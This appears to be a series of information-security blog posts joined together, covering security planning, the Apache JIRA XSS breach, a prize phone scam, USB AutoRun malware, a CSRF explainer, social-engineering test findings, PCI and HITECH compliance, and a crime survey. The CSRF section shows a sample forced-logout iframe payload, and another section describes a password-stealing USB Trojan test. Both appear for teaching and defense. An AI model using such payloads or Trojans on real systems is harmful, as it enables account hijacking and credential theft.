1) Set goals: Both in exercise and in information security, it is good to set goals. For example, before I can write up a training plan for myself, I need to know what race I’m training for, and what my target pace is. Similarly, before I can write up my information security plan, I need to know what information I need to protect and how much protection I need (is this credit card data, or is it records of what color paint my store sold last year?)

2) Stick to the plan: Sometimes on Saturday morning at 6 a.m. I don’t really want to go for a run, but I know that the only way to reach my goal is to throw my legs over the side of the bed and stand up. I also know that the best infosec plan in the world does no good if it doesn’t get followed. It may not be fun to conduct that periodic audit again, and it may be frustrating to have to patch those darn servers in the middle of the night so you don’t impact the production systems, but you’ve got to do it. A plan in a drawer is no plan at all!

3) Make the plan doable: I could probably run my race a lot faster if I was willing to quit my job and train full time, but that’s just not practical. I need to keep perspective on the rest of my life and make the plan something that I can accomplish. The same is true for the security plan. It’s not reasonable to expect your team to install each and every patch within 24 hours of release. Save that extreme stuff for the really critical items that only come up once in a while. Be reasonable, and you’ll make everyone’s life easier. No one wants a security approach that flies in the face of usability. But there are some things that just can’t slip – and make sure you know what those are. Passwords, for example: I know it’s easier to remember five-letter passwords with no complexity requirements, but if you let that happen, you may as well forget the rest of the plan.

4) Celebrate your successes: I run with a group twice a week, and the coach keeps track of our times throughout the season(s). When I hit a personal record, she knows it and we celebrate the accomplishment. Do the same thing with security! Did your annual assessment just come back with 20% fewer recommendations? Did you just pass a penetration test with flying colors? Great! Celebrate! There’s always another mitigation recommendation you can implement, but don’t forget you’ve done many already, and congratulate yourself on a job well done.

As discussed in detail by the Apache infrastructure team, a cross-site scripting vulnerability in Atlassian’s JIRA led to a full root account compromise on the ASF’s issue and request tracking server. If you don’t care to read the full story from the infrastructure team, the following sequence of events led to the compromise:

1. Attackers opened a new JIRA issue with a malicious tinyurl.com link that led to the JIRA page with an XSS vulnerability
2. Simultaneously, attackers launched a brute force attack on the JIRA login form
3. Several administrators clicked the tinyurl link, which compromised their cookies (giving the attackers JIRA admin access)
4. Attackers uploaded malicious a JAR file that collected JIRA passwords at login. One of the compromised passwords had also been used for a local account with full sudo privileges.

There’s more to the story, but those points capture the bulk of the attack.

This compromise interests me because it’s an explicit, targeted, successful attack against a security conscious and capable next-generation web technology team. Several techniques were used in this attack:

• Social engineering. The attackers opened an issue as if they were a trusted source posting a legitimate link. The Apache administrators trusted them.
• Web application security flaw. XSS is #2 on the OWASP top 10 list.
• Lack of vigilance. As the infrastructure team points out, the same password was used in a number of cases, and the JIRA user was overly privileged.

I hear a lot of grumbling when I highlight XSS vulnerabilities in a penetration testing report. “Is this really a serious problem?” and “we’re not a target” and “it doesn’t matter if they steal the cookie” are common complaints. Let’s face it – if the Apache team can be powned, we should all be wary.

This morning, I received a call from a person claiming to work for Briggs Security, trying to coordinate a time when they could deliver a prize I had won from Publisher’s Clearing House. I of course started out by telling him I didn’t believe him. So he gets his manager to call, and his manager says, “This is not a scam, you have won 2.5 million dollars through Publisher’s Clearing House, and all you need to do is call the claims department.” He gives me a Winner number, a package ID number, and the actual check number to write down. Then he gives me some phone numbers to call so I can schedule a time when they will come bring me my check. Isn’t that great? Two and a half million dollars, and I didn’t even enter any contests! When I mentioned that minor detail he told me that people are automatically entered when they pay utility bills on time.

The next part of the conversation is where things started to get dicey. He wanted to know if I worked, if I was disabled, and when I would be home. But that’s not all: He also wanted to know the name of my bank and my mother’s maiden name as a password for future interactions. (Imagine now red flags waiving violently in the wind and alarm bells ringing loudly.) I of course do not want to give him my mother’s maiden name, as that information is used widely on the Internet to verify identity. What if he goes to my bank’s web site, is able to guess my username based on the information he has, and now he has my mother’s maiden name? This could easily be the “secret” that my bank uses to reset my password. Scary!

The next thing I was supposed to do was call the Claims Department. Once I got off the phone with him, I went to Google and looked up the phone number for Publisher’s Clearing House. I called them and reported the call I received.They confirmed this was a scam, and warned me that they would probably try to get me to pay for insurance or shipping, or something like that, which is where they make their money. I decided to go ahead and call the Claims Department so I could gather as much information as possible and use it to report the scam at fraud.org.

When I talked with the Claims Department, they asked when they could deliver the check, and then they started to explain that I needed to pay for shipping and handling. I didn’t point out to them that they claimed to be hand-delivering the check (which normally does not mean you pay shipping and handling) – that their whole cover was that they were the security company who would be accompanying the Publisher’s Clearing House delivery team. Regardless, I told him, “Oh, no. I won’t be paying for anything.” He paused and said, “Excuse me?” I repeat myself: “I won’t be paying for anything. If I have to pay for anything, I don’t want to participate.” Then he hung up.

Just in case you ever get a call like this, the phone number I received the call from was (876) 485-9735. The Claims Department phone numbers were (876) 782-6915, (914) 412-2425, and (702) 545-6252. Remember to protect yourself and your employees! Educate them about social engineering and remind them to never, ever give information out to people who call or email them out of the blue (and that includes clicking on links in email) – not even if they claim to be from Publisher’s Clearing House.

Removable media: We all have them, maybe a few of them in different sizes. They’re invaluable for various administration tasks. Trying to get network drivers onto that new machine you’re re-installing? How about bringing one with you when you have to patch a few machines that aren’t on the domain? Or loading Knoppix LiveCD onto one for resetting administrator passwords? We love flash drives, but we also know they can be perfect vectors for malicious users. As with many types of technology, as their popularity increases the more lucrative it becomes to write virus code that targets them.

I have personally run across several viruses that will try to copy themselves onto any drive attached to the infected machine. This means that if you plug your flash drive into an infected machine, a virus can easily copy itself onto the drive and then propagate itself to every computer you use thereafter. You may say to yourself, “Well, this will never happen to me, I’m a lot safer with the machines I use with my personal flash drives.” I was once in that group and I completely understand the logic, but one experience changed my entire outlook on flash drives, and Microsoft AutoRun. A family friend came to me one day and asked me to find out what was wrong with his laptop. It didn’t take me very long to figure out that it was heavily infected with many viruses, so I went to work cleaning them off. I obviously did not want this machine on my home network (or connected to any network, for that matter), so I copied a malware removal program to a handy flash drive, attached it to the infected laptop, and started cleaning. Shortly thereafter, I decided I needed to use a different application for a specific virus found on the infected laptop. You know where this is going. I moved the flash drive back over to my personal computer, and before I knew it Microsoft’s AutoRun opened my flash drive for me and executed the virus that had moved itself to my computer. Bam. Two infected machines. Maybe AutoRun is to blame for this particular incident, but I feel that the popularity and sheer number of flash drives in use presents a high likelihood of this same thing happening to other folks. The easy fix here is to turn off AutoRun and the companion feature AutoPlay on every machine that you can. Had I done this on my home computer, I could’ve simply reformatted the flash drive before Windows tried to run anything found on the flash drive.

Here is a link to the Microsoft KB article on how to disable AutoRun in Windows via local security policy or domain policy, if you’re a domain administrator. Please think of the flash drives, and do this to all computers you administer.

Viruses don’t present the only problem for flash drives, as the small devices can be easily lost. They can slip out of your pocket when you’re pulling your keys out, or they can be left on a desk after you pack up your bags and head home for the day. It then becomes very easy for someone to grab your flash drive, connect it to their machine, and read any unencrypted data on the drive. I have found a few flash drives on the CU campus and, with the desire to return them to their rightful owners, put them into a machine (that now has AutoRun disabled) to find information on its owner. This has netted mixed results, but in one case an instructor had put his class grades into a spreadsheet and kept it on the unencrypted device. I was able to find the owner (as it happened to be a class that I was taking) and give the drive back to him, but not without first reprimanding him about storing my grades on removable media and then leaving it lying around campus. If you would like the portability and convenience of using a flash drive for storing sensitive documents, then please check out TrueCrypt and encrypted volumes. While it may not be secure enough for some people, in my opinion it does provide enough security for the average user. If this isn’t enough security for you, then you probably shouldn’t be storing your data on a flash drive in the first place!

As illustrated above, either by pure curiosity or the Good Samaritan in you, it’s common for people to take found flash drives and plug them into their computer to find out what’s on them. While most company policies would prohibit employees from doing this, it’s still common in the corporate world. I remember reading an account about a company using USB drives for a social engineering experiment. Keeping in mind that this was all sanctioned by the target company’s management, the company wrote a Trojan that would gather passwords and logins and also computer information and then email that information back to a specific machine. The company then put this Trojan onto 20 flash drives and “lost” them in various places around the business. Thanks to AutoRun and employee curiosity, “15 were found by employees, and all had been plugged into company computers.” (Reference: Here) They were able to get username and passwords for company machines without emailing the employees directly, or by phishing, or by any other notable virus transmission vectors.

In summary, we all need protection when it comes to these handy little devices. Encrypt your flash drives if you want to store sensitive data on them, and turn off AutoRun on all machines you use them on. You can save yourself the potential of embarrassment, wasted time and money, and a compromised machine just by taking the proper precautions with AutoRun and encryption.

The simplest way to understand this vulnerability is with an example. Assume there is a stock trading website, S-trade, that anyone who signs up for an account can access. This site has functionality available for every account – including things like logging in, logging out, transferring money, purchasing stock, etc. Our hero in the scenario is Bob. Bob trusts S-trade to make his trades and keeps a portion of his portfolio there. Malice is our villain. Malice is not interested in trading stocks or other portfolio tasks, only wreaking havoc. Bob and Malice both have accounts on S-trade with basic functionality. S-trade uses all of the standard security measures meant to authenticate and protect users. There is session management in place, data sent to and from the site is encrypted, and strong password policies are enforced. These do not bother Malice one bit. All Malice must do is get Bob to click on a specially crafted link while Bob is logged in to F-trade (i.e. Bob’s cookies and session IDs have not expired). The specially crafted link can take advantage of any functionality that already exists in the application, but to keep things simple we’ll use the logout functionality as an example. When logged in, both Bob and Malice’s sessions use the same logout code. If you right-click on the link to logout, you might get something like this for URL location:

https://www.s-trade.com/session.php?action=logout

This section of code will undoubtedly check to see if the user is logged in or if the session has timed out. Once it determines if the session is valid, it will do whatever the rest of the code accomplishes. If Malice could get Bob to click the link above, it would log Bob out of his session, just like if Bob had clicked “Logout” himself. There are many ways for Malice to mask this link to Bob.

Malice can embed it in her own HTML page on her domain with an iframe that runs when the HTML is loaded:

<iframe src=” https://www.s-trade.com/session.php?action=logout “>

As long as Bob is logged in, this code will run.

Malice could also use traditional email phishing techniques to hook Bob on the line.

Now, logging Bob out might only be a minor inconvenience, but you can see the power behind this vulnerability. If there were similar functionality that made a stock purchase or withdrew money, Bob’s account could really be put in jeopardy. If the site has other OWASP vulnerabilities in place in addition to this, Bob is really screwed. CSRF hooks right in to a lot of the most common and dangerous attacks.

The problem here is that no other checks are done to prove that the user requesting this action is Bob. All it checks for is if Bob recently logged in on this machine. Web sites need to start going to further lengths to prove requests are generated by the authenticated user. There are five major steps needed to prevent CSRF attacks:

1. Require authentication in GET and POST parameters, not just cookies.
2. Check the HTTP “Referer” header and make sure it comes from S-trade (the Referer header can always be forged, but this small step will do some amount of good).
3. Further limit the lifetime of authentication cookies.
4. Require queries which cause transactions to include a one-time token.
5. Eliminate all XSS vulnerabilities.

With large, existing applications, CSRF can be hard to mitigate completely, but organizations that are planning to build new web applications should wire protection against this right into the code from the get go. This sort of attack is only going to get more and more common and proactive prevention is crucial.

Some of the most common problems we see from organizations who go through social engineering assessments are the following:

1) Physical access to sensitive information in an office. Many people leave sensitive information lying around. They write their password on a sticky note and stick it to their monitor, or they print out sensitive information and leave it lying on their desk. Most companies do not adhere to strict visitor restrictions and our engineers can easily walk through the office space peeking into cubes and offices, looking for tidbits of information that might be useful to someone with ill intentions.

2) Physical access to servers. Another common problem is the unlocked machine room. Intruders who make it past the front desk can locate the organization’s machine room and wreak all kinds of havoc from the console of the organization’s accounting server.

3) Passwords divulged or reset over the phone. Generally speaking, people are helpful when you call them. This covers both help desk personnel and regular employees. We often test for the ability to get someone to either reset a password or divulge their own password over the phone, and find it shockingly easy to do both.

4) Phishing scams. The fourth attack that we frequently test for in social engineering exercises is the phishing scam. As with the prior example, we find it too easy to create a mock web site and then convince a user to click on a link that we’ve emailed them. This can be a very fast way to install a Trojan horse or some other type of malware on a system within an organization’s security perimeter for later use.

So what do we do about all these vulnerabilities? The first thing is to test for them. We need to understand the strengths and weaknesses of the particular organization. Some organizations actually protect their physical premises very well, but call the help desk and they will reset a password without verifying the caller’s identity. Some organizations are the exact opposite. Once the organization’s profile is understood, then it’s time to educate the staff and users. Users frequently don’t even think about information security in their day-to-day jobs. But educate them, and they will become a strong line of defense against intruders.

When real-world conditions present challenges to compliance with the PCI standard as written, we work with our clients to identify, document, and evaluate appropriate alternatives. These compensating controls are not a get out of jail free card – there are specific rules as to when and how they may be applied. Specifically:

Compensating controls may be considered for most PCI DSS requirements when an entity cannot meet a requirement explicitly as stated, due to legitimate technical or documented business constraints, but has sufficiently mitigated the risk associated with the requirement through implementation of other, or compensating, controls.

Compensating controls must satisfy the following criteria:

• Meet the intent and rigor of the original PCI DSS requirement.
• Provide a similar level of defense as the original PCI DSS requirement, such that the compensating control sufficiently offsets the risk that the original PCI DSS requirement was designed to defend against.
• Be “above and beyond” other PCI DSS requirements.

Once its determined that a compensating control is necessary, the QSA is required to document the constraint, objective, identified risk, definition of the compensating control, validation of the compensating control, and the maintenance of the compensating control.

When building a PCI compliant environment, closely following, meeting, and exceeding the requirements will make the assessment process simpler. The requirements are minimums and there is no penalty for doing more – but compensating controls are not a ticket to doing less.

Image credit to ViaMoi via Flickr (Creative Commons).

The PCI DSS (Payment Card Industry Data Security Standard) sets a number of expectations for IT assessment.  Activities, from scanning for rogue wireless access points to reviewing vendor contracts, are scattered throughout the PCI Data Security Standard document.

Below is an attempt to assemble those requirements into a single schedule.  Where the standard didn’t specify a frequency, I used reasonable “best practices” values.  I hope this is a useful starting place for organizations working toward compliance, but it is definitely not a holistic IT security plan!  There are lots of other security activities that should be taking place at every organization – this is just a summary of those discussed in the PCI DSS.

See anything that I missed?  Did I get something wrong?  Let me know in the comments and we’ll work toward an accurate sample schedule together!!

Sample PCI DSS assessment schedule

We wrote about the HITECH act and its impact on business associates a little less than a year ago. By February 18, business associates are required to:

• Comply with the HIPAA security and privacy rules
• Provide medical information breach notifications
• Work with the Department of Health and Human Services to perform compliance audits as requested
• Train employees on HIPAA and its requirements for business associates

BAs, I hope you’re taking note. Violations can incur fines for as much as $1.5 million per year and, in the most serious circumstances, may include prison time. According to HITECH, DHHS audits are also mandatory beginning 2/18/2010. (See sections 13410 and 13411).

Most of the associates that I’m familiar with haven’t made many changes in the past year to improve HIPAA compliance. So what should any self-respecting business associate, now subject to these somewhat draconian and certainly expensive rules, do to avert heavy fines and lost productivity? Avoid becoming a business associate at all costs.

First, re-evaluate whether the business truly qualifies as an associate, for one. In the past, BAAs had very few directly applicable requirements, and those that were in place were rarely or never audited and enforced. Businesses should no longer haphazardly sign BAAs when they aren’t strictly necessary.

If the business has determined that they are indeed an associate, what can be changed to eliminate that status? If there isn’t a dire business need for access to medical records, but they’re being collected incidentally, eliminate that dependency and escape the compliance game. Of course, most health care organizations don’t freely distribute health records, and most organizations don’t want them unless they need them.

If the business is resigned to being an associate subject to HIPAA courtesy of HITECH, it’s time to get to work. Start at www.hipaasurvivalguide.com, an excellent resource for learning the regulation and applying its teachings.

And never forget the old proverb (that I’m making up right now): more regulation always improves security. Emphasis added.

Daisy, an attacker identified by the CSI

The Computer Security Institute has just released the results of its 14^th annual Computer Crime and Security Survey and, as always, there are some interesting findings. This year’s results are based on 443 responses given by information security and information technology professionals in U.S. corporations, government agencies, financial institutions, educational institutions, medical institutions, and other organizations, from the period of July 2008 to June 2009.

A few highlights:

• Average losses resulting from security incidents dropped from $289,000 per respondent last year to $234,244 per respondent this year.
• A third of respondent organizations reported being fraudulently represented as the sender of a phishing message.
• Respondents reported big jumps in the incidence of financial fraud, malware infection, denials of service, password sniffing, and Web site defacement, and significant dips in wireless exploits and instant messaging abuse.
• Financial fraud losses averaged $450,000 per organization that suffered fraud.
• A quarter of respondents believed that more than 60% of their financial losses resulted from non-malicious actions by insiders.
• The largest increases in security technologies used were in anti-spyware software and tools that encrypt data at rest.
• Tools that improve visibility, such as log management tools and security information and event management tools, were high on many organizations’ security wishlists.
• Only 7.7 percent of respondents categorized their organizations as being in the “health services” industry, but 57.1 percent of respondents said their organization had to comply with the Health Insurance Portability and Accountability Act (HIPAA). More respondents said that HIPAA applied to their organization than any other law or industry regulation.
• Respondents generally reported that regulatory compliance efforts have had a positive effect on their organization’s security programs.

For more specifics, check out the free Executive Summary of the Survey that’s available from CSI’s web site. CSI members get a copy of the comprehensive version, and it will be made available to non-members for a fee at some point.